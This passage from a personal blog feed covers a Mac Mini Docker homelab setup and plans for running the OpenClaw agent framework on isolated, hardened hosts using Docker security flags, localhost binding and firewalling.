<p>Portainer gives you a web UI for managing containers, viewing logs, and restarting services without touching the command line. The LTS version is stable and gets security updates. It’s not strictly necessary if you’re comfortable with <code class="language-plaintext highlighter-rouge">docker compose</code> commands, but it’s handy for quick checks from a phone or tablet.</p>

<h3 id="twingate--remote-access-vpn">Twingate — Remote Access VPN</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">twingate</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">twingate/connector:1</span>
  <span class="na">sysctls</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">net.ipv4.ping_group_range=0 </span><span class="m">2147483647</span>
</code></pre></div></div>

<p>Instead of exposing services to the internet or running a traditional VPN like WireGuard, I use <strong>Twingate</strong>. It’s a zero-trust network access solution that:</p>

<ul>
  <li>Requires no open inbound ports</li>
  <li>Works behind NAT/CGNAT</li>
  <li>Provides per-service access controls</li>
  <li>Has native clients for macOS, iOS, Android, Windows, and Linux</li>
</ul>

<p>The connector container establishes an outbound connection to Twingate’s relay network. From there, authenticated devices on the Twingate network can access homelab services as if they were on the local network. This means I can access <code class="language-plaintext highlighter-rouge">photos.home.us</code> from my phone over cellular without any port forwarding.</p>

<hr />

<h2 id="the-network">The Network</h2>

<h3 id="dns-with-adguard-home">DNS with AdGuard Home</h3>

<p>Two AdGuard Home instances run on separate devices on the network, providing:</p>

<ul>
  <li><strong>Local DNS resolution</strong> — <code class="language-plaintext highlighter-rouge">*.home.us</code> resolves to the Mac Mini’s local IP</li>
  <li><strong>Ad blocking</strong> — network-wide ad and tracker blocking for all devices</li>
  <li><strong>DNS-over-HTTPS/TLS</strong> — encrypted DNS queries</li>
</ul>

<p>Having two DNS servers ensures that DNS stays available even if one goes down for maintenance.</p>

<h3 id="nas-storage">NAS Storage</h3>

<p>The broader network includes multiple TrueNAS boxes serving different roles:</p>

<ul>
  <li><strong>Backup NAS</strong> — Primary network storage for backups and bulk data</li>
  <li><strong>Fun NAS</strong> — Runs additional services like a browser-based Firefox instance and QBittorrent</li>
  <li><strong>Trial NAS</strong> — Used for testing TrueNAS configurations before deploying to production</li>
</ul>

<hr />

<h2 id="directory-structure">Directory Structure</h2>

<p>Here’s how the homelab directory is organized on the external drive:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Volumes/ExternalHome/Homelab/
├── docker-compose.yml          # All service definitions
├── .env                        # Immich credentials and config
├── start.sh                    # Manual startup script
├── colima-autostart.sh         # launchd auto-start script
├── caddy/
│   ├── Caddyfile               # Reverse proxy routes
│   └── caddy-root-ca.crt       # Local CA cert (install on clients)
├── homepage/
│   └── config/                 # Dashboard configuration
│       ├── services.yaml       # Service definitions and widgets
│       ├── settings.yaml       # Theme and layout
│       └── widgets.yaml        # System resource widgets
├── volumes/                    # Persistent container data
│   ├── caddy_data/
│   ├── caddy_config/
│   ├── immich_postgres_data/
│   ├── immich_model_cache/
│   └── portainer_data/
├── colima/                     # Colima VM data and docker socket
│   └── default/
│       ├── colima.yaml         # VM configuration
│       └── docker.sock         # Docker socket
└── backups/                    # Database backups
</code></pre></div></div>

<hr />

<h2 id="adding-a-new-service">Adding a New Service</h2>

<p>The process is always the same:</p>

<ol>
  <li><strong>Add the service to <code class="language-plaintext highlighter-rouge">docker-compose.yml</code></strong> on the <code class="language-plaintext highlighter-rouge">homelab</code> network:</li>
</ol>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">myservice</span><span class="pi">:</span>
  <span class="na">image</span><span class="pi">:</span> <span class="s">someimage:latest</span>
  <span class="na">container_name</span><span class="pi">:</span> <span class="s">myservice</span>
  <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>
  <span class="na">volumes</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">./volumes/myservice_data:/data</span>
  <span class="na">networks</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">homelab</span>
</code></pre></div></div>

<ol>
  <li><strong>Add a reverse proxy entry</strong> in <code class="language-plaintext highlighter-rouge">caddy/Caddyfile</code>:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>myservice.home.us {
    tls internal
    reverse_proxy myservice:&lt;port&gt;
}
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Add a DNS record</strong> for <code class="language-plaintext highlighter-rouge">myservice.home.us</code> pointing to the Mac Mini (or use a wildcard <code class="language-plaintext highlighter-rouge">*.home.us</code> record).</p>
  </li>
  <li>
    <p><strong>Optionally add it to the dashboard</strong> in <code class="language-plaintext highlighter-rouge">homepage/config/services.yaml</code>.</p>
  </li>
  <li>
    <p><strong>Deploy</strong>: <code class="language-plaintext highlighter-rouge">docker compose up -d</code></p>
  </li>
</ol>

<p>That’s it. The new service gets automatic TLS, a clean URL, and shows up on the dashboard.</p>

<hr />

<h2 id="troubleshooting-tips">Troubleshooting Tips</h2>

<h3 id="colima-wont-start">Colima Won’t Start</h3>

<p>The most common issue after an unclean shutdown (power loss, force reboot) is a stale disk lock:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Error: "failed to run attach disk "colima", in use by instance "colima""</span>

<span class="c"># Fix: Remove the stale lock</span>
<span class="nb">rm</span> <span class="nt">-f</span> colima/_lima/_disks/colima/in_use_by

<span class="c"># Then retry</span>
<span class="nv">COLIMA_HOME</span><span class="o">=</span>/Volumes/ExternalHome/Homelab/colima colima start
</code></pre></div></div>

<p>Also check that both <code class="language-plaintext highlighter-rouge">/Volumes/ExternalHome</code> and <code class="language-plaintext highlighter-rouge">/Volumes/Immich</code> are mounted — Colima’s VM config includes both as virtiofs mounts, and it will fail to start if either path doesn’t exist.</p>

<h3 id="container-cant-access-nas-volume">Container Can’t Access NAS Volume</h3>

<p>If Immich reports upload errors, verify the NAS mount is available:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> /Volumes/Immich
</code></pre></div></div>

<p>If it’s not mounted, re-run the MountNASVolumes automation or manually mount it.</p>

<h3 id="check-logs">Check Logs</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Colima auto-start log</span>
<span class="nb">cat</span> /tmp/colima-autostart.log

<span class="c"># Lima VM stderr (the real error when Colima shows generic "exit status 1")</span>
<span class="nb">cat </span>colima/_lima/colima/ha.stderr.log

<span class="c"># Container logs</span>
docker logs immich_server
docker logs caddy
</code></pre></div></div>

<hr />

<h2 id="cost-breakdown">Cost Breakdown</h2>

<p>One of the best things about a Mac Mini homelab is the running cost:</p>

<table>
  <thead>
    <tr>
      <th>Item</th>
      <th>Cost</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Mac Mini M4</td>
      <td>One-time purchase</td>
    </tr>
    <tr>
      <td>External Thunderbolt SSD</td>
      <td>One-time purchase</td>
    </tr>
    <tr>
      <td>Electricity (~5-15W idle)</td>
      <td>~$1-3/month</td>
    </tr>
    <tr>
      <td>Backblaze B2 storage</td>
      <td>$6/TB/month</td>
    </tr>
    <tr>
      <td>Twingate (free tier)</td>
      <td>$0/month</td>
    </tr>
    <tr>
      <td>Domain name (optional)</td>
      <td>$0 (using local <code class="language-plaintext highlighter-rouge">.home.us</code>)</td>
    </tr>
  </tbody>
</table>

<p>Compare that to a typical homelab server drawing 100-300W and the Mac Mini pays for itself in electricity savings within a year or two.</p>

<hr />

<h2 id="what-id-do-differently">What I’d Do Differently</h2>

<ul>
  <li><strong>Move secrets out of <code class="language-plaintext highlighter-rouge">docker-compose.yml</code></strong> — Twingate tokens and any other credentials should live in <code class="language-plaintext highlighter-rouge">.env</code> files or a proper secrets manager, not inline in compose files.</li>
  <li><strong>Automate database backups</strong> — A cron job or scheduled container that dumps the Immich PostgreSQL database regularly to the <code class="language-plaintext highlighter-rouge">backups/</code> directory, then syncs to Backblaze.</li>
  <li><strong>Consider Tailscale as a Twingate alternative</strong> — Tailscale is another great option for remote access with a generous free tier and simpler setup for personal use.</li>
</ul>

<hr />

<h2 id="final-thoughts">Final Thoughts</h2>

<p>You don’t need a rack, a hypervisor, or enterprise hardware to run a capable homelab. A Mac Mini with an external drive, Docker via Colima, and a few well-chosen services gives you:</p>

<ul>
  <li>A self-hosted photo library with AI search (Immich)</li>
  <li>Automatic internal TLS for all services (Caddy)</li>
  <li>A clean dashboard (Homepage)</li>
  <li>Remote access from anywhere (Twingate)</li>
  <li>Offsite backups (Backblaze B2)</li>
  <li>Auto-start on boot (launchd)</li>
  <li>Near-zero noise and minimal power draw</li>
</ul>

<p>The entire setup is defined in a single <code class="language-plaintext highlighter-rouge">docker-compose.yml</code> and a handful of config files. It’s portable — unplug the Thunderbolt drive, plug it into another Mac, set two environment variables, and you’re running again.</p>

<p>If you’ve been on the fence about starting a homelab because the typical x86/Proxmox route feels like overkill, give the Mac Mini approach a try. It’s simpler than you think.</p>]]></content><author><name>Prathamesh Shetye</name></author><category term="homelab" /><category term="mac-mini" /><category term="docker" /><category term="colima" /><category term="self-hosted" /><summary type="html"><![CDATA[Most homelab guides assume you’re running Proxmox on a beefy x86 tower or a rack-mounted server. But what if your entire homelab fits on your desk, sips power, and runs silently? That’s exactly what you can build with an Apple Silicon Mac Mini.]]></summary></entry><entry><title type="html">OpenClaw’s Brain Transplant: A Deep Dive into Open Source AI Agent Hardware and Hardened Deployment</title><link href="https://prathamesh.dev/2026/03/25/hardware-for-openclaw/" rel="alternate" type="text/html" title="OpenClaw’s Brain Transplant: A Deep Dive into Open Source AI Agent Hardware and Hardened Deployment" /><published>2026-03-25T00:00:00+00:00</published><updated>2026-03-25T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/03/25/hardware-for-openclaw</id><content type="html" xml:base="https://prathamesh.dev/2026/03/25/hardware-for-openclaw/"><![CDATA[<h2 id="the-core-dilemma-minisforum-um890-pro-vs-mac-mini-m4-for-autonomous-agents">The Core Dilemma: Minisforum UM890 Pro vs. Mac Mini M4 for Autonomous Agents</h2>

<p>The deployment of autonomous agent frameworks like <strong>OpenClaw</strong>—a robust open-source architecture bridging Large Language Models (LLMs) with local shell execution and messaging platforms—demands specific <strong>hardware configurations</strong> to facilitate hardened deployment and scaling efficiency. Host selection transcends raw clock speed; it is fundamentally dictated by <strong>memory bandwidth</strong>, storage persistence, and the integrity of platform-native <strong>security isolation</strong>.</p>

<h1 id="the-hardware-face-off-specifications-for-persistent-agent-workloads">The Hardware Face-Off: Specifications for Persistent Agent Workloads</h1>

<p>The architectural differences between AMD’s Zen 4 mobile platform and Apple Silicon’s Unified Memory architecture fundamentally dictate agent scaling limits.</p>

<table>
  <thead>
    <tr>
      <th>Specification</th>
      <th>Minisforum UM890 Pro</th>
      <th>Mac Mini M4 (Base)</th>
      <th>Technical Impact on OpenClaw</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>CPU Architecture</strong></td>
      <td>AMD Ryzen 9 8945HS (8C/16T, Zen 4)</td>
      <td>Apple M4 (10C — 4P + 6E, custom SoC)</td>
      <td>The 16 threads of the UM890 Pro offer superior concurrent execution for multi-agent mode and background processes.</td>
    </tr>
    <tr>
      <td><strong>System Memory (RAM)</strong></td>
      <td><strong>32GB DDR5 5600MT/s (SODIMM)</strong></td>
      <td>16GB Unified Memory (Soldered)</td>
      <td>32GB provides critical headroom. Unified Memory shares 16GB across macOS, iGPU, and the agent’s V8 memory footprint, leading to page file thrashing under load.</td>
    </tr>
    <tr>
      <td><strong>Storage</strong></td>
      <td><strong>4TB NVMe PCIe 4.0</strong> (Dual M.2 slots)</td>
      <td>256GB SSD (Soldered)</td>
      <td>OpenClaw’s continuous logging, skill caches, and memory databases necessitate massive storage. 4TB allows for local LLM inference (Ollama) without immediately encountering SSD corruption risks warned against in official documentation.</td>
    </tr>
    <tr>
      <td><strong>GPU/NPU</strong></td>
      <td>AMD Radeon 780M iGPU + Ryzen AI NPU</td>
      <td>Apple M4 GPU (10-core) + 16-core Neural Engine</td>
      <td>Both offer inference acceleration, but the UM890 Pro’s NPU is accessible via standard open-source ML frameworks.</td>
    </tr>
    <tr>
      <td><strong>Future Expansion</strong></td>
      <td><strong>OCuLink (PCIe 4.0 x4)</strong>, Dual M.2 slots</td>
      <td>3x Thunderbolt 4</td>
      <td>OCuLink provides a direct, high-bandwidth path for desktop eGPUs, enabling local 7B–13B LLM inference, which is a massive future-proofing advantage.</td>
    </tr>
  </tbody>
</table>

<h1 id="the-bottlenecks-memory-and-storage-as-constraints">The Bottlenecks: Memory and Storage as Constraints</h1>

<p>OpenClaw’s architecture relies on a persistent Node.js gateway process and frequent invocation of stateful components:</p>

<ul>
  <li><strong>RAM Saturation:</strong> The Node.js V8 engine and the stateful sessions, particularly those involving browser automation (headless Chromium), demand substantial memory. Each headless Chromium instance can consume 500MB–1GB. In a multi-agent or high-concurrency scenario, the UM890 Pro’s 32GB of dedicated, upgradeable DDR5 provides sufficient headroom for the base OS, Docker VM/daemon, monitoring tools (e.g., Netdata), and multiple agent instances. The Mac Mini’s 16GB—shared with the GPU and the underlying macOS kernel—is a fixed, non-upgradeable ceiling that will bottleneck quickly.</li>
  <li><strong>Storage Throughput and Capacity:</strong> Autonomous agent frameworks generate continuous activity—workspace logs, skill installation artifacts, and memory databases. SSD fill-up is a documented cause of database corruption. The UM890 Pro’s 4TB NVMe offers an enormous runway. The M4’s 256GB SSD is too small to host meaningful local model weights (e.g., a quantized 13B model requires ~8GB of space) and necessitates constant housekeeping.</li>
</ul>

<h1 id="security-first-native-linux-sandboxing-for-untrusted-code">Security First: Native Linux Sandboxing for Untrusted Code</h1>

<p>The single most critical security practice for OpenClaw is Docker sandboxing. Given the history of critical vulnerabilities (512 identified in a January 2026 audit) and supply-chain attacks like ClawHavoc, the agent must be treated as <strong>untrusted code execution with persistent credentials</strong>.</p>

<h2 id="container-isolation-linux-vs-macos">Container Isolation: Linux vs. macOS</h2>

<table>
  <thead>
    <tr>
      <th>Security Dimension</th>
      <th>Minisforum UM890 Pro (Linux)</th>
      <th>Mac Mini M4 (macOS)</th>
      <th>Technical Advantage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Docker Isolation</strong></td>
      <td>Native cgroups and namespaces.</td>
      <td>HyperKit/Apple Virtualization VM.</td>
      <td>Native Linux containers offer a transparent, auditable, and minimal-overhead security boundary. The VM layer on macOS adds complexity and latency.</td>
    </tr>
    <tr>
      <td><strong>Filesystem Control</strong></td>
      <td>Full control over mount points, <strong><code class="language-plaintext highlighter-rouge">--read-only</code></strong> container filesystem, and strict bind mounts.</td>
      <td>Docker volumes pass through the VM layer, which can complicate fine-grained read-only binding and auditing.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Network Security</strong></td>
      <td><strong><code class="language-plaintext highlighter-rouge">iptables</code></strong> / <strong><code class="language-plaintext highlighter-rouge">nftables</code></strong> for granular firewall rules. Gateway bound to <strong><code class="language-plaintext highlighter-rouge">127.0.0.1</code></strong> only.</td>
      <td>macOS <strong><code class="language-plaintext highlighter-rouge">pf</code></strong> firewall is less flexible. Docker networking through the VM can introduce unexpected leak paths.</td>
      <td> </td>
    </tr>
    <tr>
      <td><strong>Process Hardening</strong></td>
      <td>Can leverage Docker security options: <strong><code class="language-plaintext highlighter-rouge">--cap-drop=ALL</code></strong>, <strong><code class="language-plaintext highlighter-rouge">--security-opt=no-new-privileges</code></strong>, and running as a dedicated, unprivileged system user.</td>
      <td>Requires complex macOS sandbox profiles for equivalent host process isolation.</td>
      <td> </td>
    </tr>
  </tbody>
</table>

<h2 id="the-threat-model">The Threat Model</h2>

<p>The deployment must actively defend against:</p>

<ul>
  <li><strong>Prompt injection</strong> leading to unintended shell commands or data exfiltration.</li>
  <li><strong>Malicious skills</strong> (e.g., from ClawHub) that contain backdoors or credential harvesters.</li>
  <li><strong>Sandbox escape</strong> attempts to access the host filesystem or network, which is harder when using native Linux containers.</li>
</ul>

<h1 id="recommended-hardened-deployment-architecture">Recommended Hardened Deployment Architecture</h1>

<p>The analysis dictates that the <strong>Minisforum UM890 Pro</strong> running <strong>Ubuntu Server 24.04 LTS</strong> should be the dedicated OpenClaw host. This appliance-like deployment follows a defense-in-depth model with four concentric layers:</p>

<h2 id="network-perimeter-layer-1">Network Perimeter (Layer 1):</h2>

<ul>
  <li>Gateway is exclusively bound to <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.
    <ul>
      <li>Remote access is channeled via <strong>Tailscale</strong> (WireGuard tunnel) only.</li>
      <li><strong>ufw</strong> (Uncomplicated Firewall) configured to deny all inbound traffic except the necessary Tailscale/WireGuard ports.</li>
    </ul>
  </li>
</ul>

<h2 id="os-level-isolation-layer-2">OS-level Isolation (Layer 2):</h2>

<ul>
  <li>A dedicated <strong><code class="language-plaintext highlighter-rouge">openclaw</code></strong> Linux user is created with no <code class="language-plaintext highlighter-rouge">sudo</code> privileges and a restricted shell.
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">auditd</code> system monitors file access and process execution for detailed forensic logging.</li>
      <li><strong>Netdata</strong> agent is installed to provide real-time resource visibility and security alerts.</li>
    </ul>
  </li>
</ul>

<h2 id="docker-sandboxing-layer-3">Docker Sandboxing (Layer 3):</h2>

<ul>
  <li>OpenClaw gateway runs inside a <strong>rootless Docker</strong> container.
    <ul>
      <li>Container startup flags include: <code class="language-plaintext highlighter-rouge">--read-only</code>, <code class="language-plaintext highlighter-rouge">--cap-drop=ALL</code> (dropping all Linux capabilities), and <code class="language-plaintext highlighter-rouge">--security-opt=no-new-privileges</code>.</li>
      <li>Tool execution containers are disposable, per-session, and run with <strong><code class="language-plaintext highlighter-rouge">network: none</code></strong> unless explicit skill requirements override this.</li>
    </ul>
  </li>
</ul>

<h2 id="credential-management-layer-4">Credential Management (Layer 4):</h2>

<ul>
  <li>API keys are stored in encrypted volumes or injected via environment variables at runtime, never persisted in cleartext configuration files.
    <ul>
      <li>Dedicated, low-spend API keys (e.g., Anthropic key with a hard daily cap of $10) are mandatory.</li>
    </ul>
  </li>
</ul>

<h1 id="quick-start-checklist-for-um890-pro-deployment">Quick-Start Checklist for UM890 Pro Deployment</h1>

<p>Follow these technical steps for a fully hardened setup:</p>

<ul>
  <li><strong>OS Installation:</strong> Wipe UM890 Pro and install Ubuntu Server 24.04 LTS (minimal install).</li>
  <li><strong>User Isolation:</strong> Create the dedicated <code class="language-plaintext highlighter-rouge">openclaw</code> user with no <code class="language-plaintext highlighter-rouge">sudo</code> privileges.</li>
  <li><strong>Container Runtime:</strong> Install <strong>Docker Engine</strong> (not Docker Desktop) and enable rootless mode for enhanced isolation.</li>
  <li><strong>Network Access:</strong> Configure <code class="language-plaintext highlighter-rouge">ufw</code> to deny all inbound connections except for your Tailscale/WireGuard tunnel.</li>
  <li><strong>Monitoring:</strong> Install and configure the Netdata agent for real-time performance and security visibility.</li>
  <li><strong>Secrets:</strong> Encrypt sensitive files at rest using <code class="language-plaintext highlighter-rouge">openssl enc -aes-256-cbc</code> and configure decryption into memory at container startup.</li>
  <li><strong>Security Validation:</strong> Run <code class="language-plaintext highlighter-rouge">openclaw doctor</code> and <code class="language-plaintext highlighter-rouge">openclaw security audit --deep</code> weekly to check for configuration drift and vulnerabilities.</li>
</ul>]]></content><author><name>Prathamesh Shetye</name></author><category term="openclaw" /><category term="homelab" /><summary type="html"><![CDATA[The Core Dilemma: Minisforum UM890 Pro vs. Mac Mini M4 for Autonomous Agents]]></summary></entry><entry><title type="html">OpenClaw Exploration Plan with Base Mac Mini M4</title><link href="https://prathamesh.dev/2026/03/13/openclaw-exploration-plan/" rel="alternate" type="text/html" title="OpenClaw Exploration Plan with Base Mac Mini M4" /><published>2026-03-13T00:00:00+00:00</published><updated>2026-03-13T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/03/13/openclaw-exploration-plan</id><content type="html" xml:base="https://prathamesh.dev/2026/03/13/openclaw-exploration-plan/"><![CDATA[<p><strong>Hardware:</strong> Mac mini M4 (base config) + 4TB NVMe in Thunderbolt 4 enclosure
<strong>Goal:</strong> Safely explore OpenClaw without risking personal or home network data</p>

<hr />

<h2 id="table-of-contents">Table of Contents</h2>

<ol>
  <li><a href="#what-is-openclaw">What is OpenClaw</a></li>
  <li><a href="#why-you-need-an-isolation-strategy">Why You Need an Isolation Strategy</a></li>
  <li><a href="#phase-1--prepare-the-mac-mini">Phase 1 — Prepare the Mac mini</a></li>
  <li><a href="#phase-2--set-up-isolation-boundary">Phase 2 — Set Up Isolation Boundary</a></li>
  <li><a href="#phase-3--install-and-configure-openclaw">Phase 3 — Install and Configure OpenClaw</a></li>
  <li><a href="#phase-4--harden-the-deployment">Phase 4 — Harden the Deployment</a></li>
  <li><a href="#phase-5--explore-use-cases">Phase 5 — Explore Use Cases</a></li>
  <li><a href="#recommended-use-cases-for-a-homelab-android-engineer">Recommended Use Cases for a Homelab Android Engineer</a></li>
  <li><a href="#skills-worth-exploring">Skills Worth Exploring</a></li>
  <li><a href="#ongoing-maintenance-checklist">Ongoing Maintenance Checklist</a></li>
  <li><a href="#resources">Resources</a></li>
</ol>

<hr />

<h2 id="what-is-openclaw">What is OpenClaw</h2>

<p>OpenClaw (formerly Clawdbot → Moltbot) is an open-source autonomous AI agent framework created by Peter Steinberger. It runs locally on your own hardware and connects to LLM providers (Anthropic, OpenAI, local models) to execute tasks on your behalf. Unlike a chatbot that only generates text, OpenClaw <em>acts</em> — it can run shell commands, manage files, automate browser sessions, send messages, schedule cron jobs, and chain multi-step workflows together.</p>

<p>Key architectural concepts:</p>

<ul>
  <li><strong>Gateway</strong> — the always-on control plane that manages sessions, tool dispatch, channel routing, and events. Binds to <code class="language-plaintext highlighter-rouge">127.0.0.1:18789</code> by default.</li>
  <li><strong>Channels</strong> — messaging integrations (WhatsApp, Telegram, Slack, Discord, Signal, iMessage, WebChat, and 50+ others) that serve as the user interface.</li>
  <li><strong>Tools</strong> — built-in capabilities like browser automation, file system access, shell execution, cron scheduling, and webhooks.</li>
  <li><strong>Skills</strong> — plugin-like Markdown files (stored as directories with a <code class="language-plaintext highlighter-rouge">SKILL.md</code>) that extend the agent’s capabilities. Over 13,000 community skills exist on ClawHub as of early March 2026.</li>
  <li><strong>soul.md</strong> — a Markdown file at <code class="language-plaintext highlighter-rouge">~/.openclaw/soul.md</code> that defines the agent’s personality, behavioral rules, and hard constraints.</li>
</ul>

<p><strong>Critical framing:</strong> OpenClaw is not a chatbot. It is an agent runtime with system-level access. That distinction drives every security decision in this plan.</p>

<hr />

<h2 id="why-you-need-an-isolation-strategy">Why You Need an Isolation Strategy</h2>

<p>OpenClaw runs with whatever permissions your user account has. By default it can execute arbitrary shell commands, read/write files, and access network resources — with no allowlist or approval gates out of the box. Security researchers have documented real-world incidents:</p>

<ul>
  <li><strong>Prompt injection</strong> — malicious content embedded in emails, web pages, or logs can trick the agent into exfiltrating data or running unintended commands.</li>
  <li><strong>Malicious skills</strong> — Cisco’s AI security team found ClawHub skills performing data exfiltration without user awareness. Roughly 80% of community skills are low quality or potentially dangerous.</li>
  <li><strong>Exposed instances</strong> — over 40,000 OpenClaw gateways were found exposed on the public internet, many with critical vulnerabilities.</li>
  <li><strong>CVE-2026-25253</strong> — a critical RCE vulnerability that affected early versions.</li>
  <li><strong>ClawJacked</strong> — a flaw allowing any website to silently hijack a running OpenClaw instance.</li>
</ul>

<p>Given that your Mac mini sits on your home network alongside your NAS systems, homelab infrastructure, and personal data, running OpenClaw directly on the bare metal without isolation is a non-starter.</p>

<hr />

<h2 id="phase-1--prepare-the-mac-mini">Phase 1 — Prepare the Mac mini</h2>

<h3 id="11-create-a-dedicated-macos-user-account">1.1 Create a Dedicated macOS User Account</h3>

<p>Do not run OpenClaw under your primary user account.</p>

<ul>
  <li>Open <strong>System Settings → Users &amp; Groups</strong> and create a new Standard user (e.g., <code class="language-plaintext highlighter-rouge">openclaw-sandbox</code>).</li>
  <li>Do <strong>not</strong> grant this user admin privileges.</li>
  <li>Do <strong>not</strong> log into iCloud, Messages, Mail, or any personal services on this account.</li>
  <li>This ensures that even if OpenClaw or a skill escapes its container, it cannot access your personal Keychain, browser profiles, iCloud data, or SSH keys.</li>
</ul>

<h3 id="12-use-the-external-4tb-nvme-for-all-openclaw-data">1.2 Use the External 4TB NVMe for All OpenClaw Data</h3>

<p>Your Thunderbolt 4 enclosure is perfect for blast-radius containment.</p>

<ul>
  <li>Format a dedicated APFS partition (or the entire drive) for OpenClaw work. Name it something clear like <code class="language-plaintext highlighter-rouge">OpenClaw-Sandbox</code>.</li>
  <li>All OpenClaw configuration, workspaces, skill files, and Docker volumes should live on this drive — never on the internal SSD.</li>
  <li>If things go wrong, you can wipe the external drive without touching your system.</li>
  <li>Mount path example: <code class="language-plaintext highlighter-rouge">/Volumes/OpenClaw-Sandbox</code></li>
</ul>

<h3 id="13-network-considerations">1.3 Network Considerations</h3>

<ul>
  <li><strong>Do not expose the gateway port (18789 or 3000) to your LAN.</strong> Keep it bound to <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.</li>
  <li>If you need remote access to the OpenClaw WebUI, use SSH port forwarding or Tailscale — never open a port on your router.</li>
  <li>Consider temporarily disconnecting or firewalling off your NAS and homelab VLANs while experimenting, or run OpenClaw on a separate VLAN if your router supports it.</li>
  <li>Since you use Twingate, do not install a Twingate connector in the sandbox environment — keep your tunnel topology separate.</li>
</ul>

<hr />

<h2 id="phase-2--set-up-isolation-boundary">Phase 2 — Set Up Isolation Boundary</h2>

<p>You have two good options. Docker is the recommended path for exploration.</p>

<h3 id="option-a-docker-container-recommended">Option A: Docker Container (Recommended)</h3>

<p>Since you already use OrbStack on your Mac mini, this is the natural fit.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Log in as the openclaw-sandbox user</span>
<span class="c"># All paths below assume the external NVMe is mounted at /Volumes/OpenClaw-Sandbox</span>

<span class="c"># Create directory structure on the external drive</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /Volumes/OpenClaw-Sandbox/openclaw-config
<span class="nb">mkdir</span> <span class="nt">-p</span> /Volumes/OpenClaw-Sandbox/openclaw-workspace

<span class="c"># Clone the repo for reference (optional)</span>
git clone https://github.com/openclaw/openclaw.git /Volumes/OpenClaw-Sandbox/openclaw-repo

<span class="c"># Run with hardened flags</span>
docker run <span class="nt">-d</span> <span class="se">\</span>
  <span class="nt">--name</span> openclaw <span class="se">\</span>
  <span class="nt">--restart</span> unless-stopped <span class="se">\</span>
  <span class="nt">--user</span> 1000:1000 <span class="se">\</span>
  <span class="nt">--read-only</span> <span class="se">\</span>
  <span class="nt">--cap-drop</span><span class="o">=</span>ALL <span class="se">\</span>
  <span class="nt">--security-opt</span><span class="o">=</span>no-new-privileges <span class="se">\</span>
  <span class="nt">--memory</span><span class="o">=</span>2g <span class="se">\</span>
  <span class="nt">--cpus</span><span class="o">=</span>2 <span class="se">\</span>
  <span class="nt">-v</span> /Volumes/OpenClaw-Sandbox/openclaw-config:/root/.openclaw <span class="se">\</span>
  <span class="nt">-v</span> /Volumes/OpenClaw-Sandbox/openclaw-workspace:/workspace <span class="se">\</span>
  <span class="nt">-p</span> 127.0.0.1:3000:3000 <span class="se">\</span>
  ghcr.io/openclaw/openclaw:latest
</code></pre></div></div>

<p>Key hardening flags explained:</p>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--user 1000:1000</code></td>
      <td>Run as non-root inside the container</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--read-only</code></td>
      <td>Container filesystem is read-only (writes only to mounted volumes)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--cap-drop=ALL</code></td>
      <td>Drop all Linux capabilities</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--security-opt=no-new-privileges</code></td>
      <td>Prevent privilege escalation</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--memory=2g</code></td>
      <td>Cap memory usage</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">-p 127.0.0.1:3000:3000</code></td>
      <td>Bind only to localhost, not the LAN</td>
    </tr>
  </tbody>
</table>

<h3 id="option-b-docker-compose-for-more-control">Option B: Docker Compose (For More Control)</h3>

<p>Create <code class="language-plaintext highlighter-rouge">/Volumes/OpenClaw-Sandbox/docker-compose.yml</code>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">version</span><span class="pi">:</span> <span class="s2">"</span><span class="s">3.9"</span>
<span class="na">services</span><span class="pi">:</span>
  <span class="na">openclaw</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">ghcr.io/openclaw/openclaw:latest</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">openclaw</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>
    <span class="na">user</span><span class="pi">:</span> <span class="s2">"</span><span class="s">1000:1000"</span>
    <span class="na">read_only</span><span class="pi">:</span> <span class="no">true</span>
    <span class="na">cap_drop</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">ALL</span>
    <span class="na">security_opt</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">no-new-privileges</span>
    <span class="na">mem_limit</span><span class="pi">:</span> <span class="s">2g</span>
    <span class="na">cpus</span><span class="pi">:</span> <span class="m">2</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">127.0.0.1:3000:3000"</span>
    <span class="na">volumes</span><span class="pi">:</span>
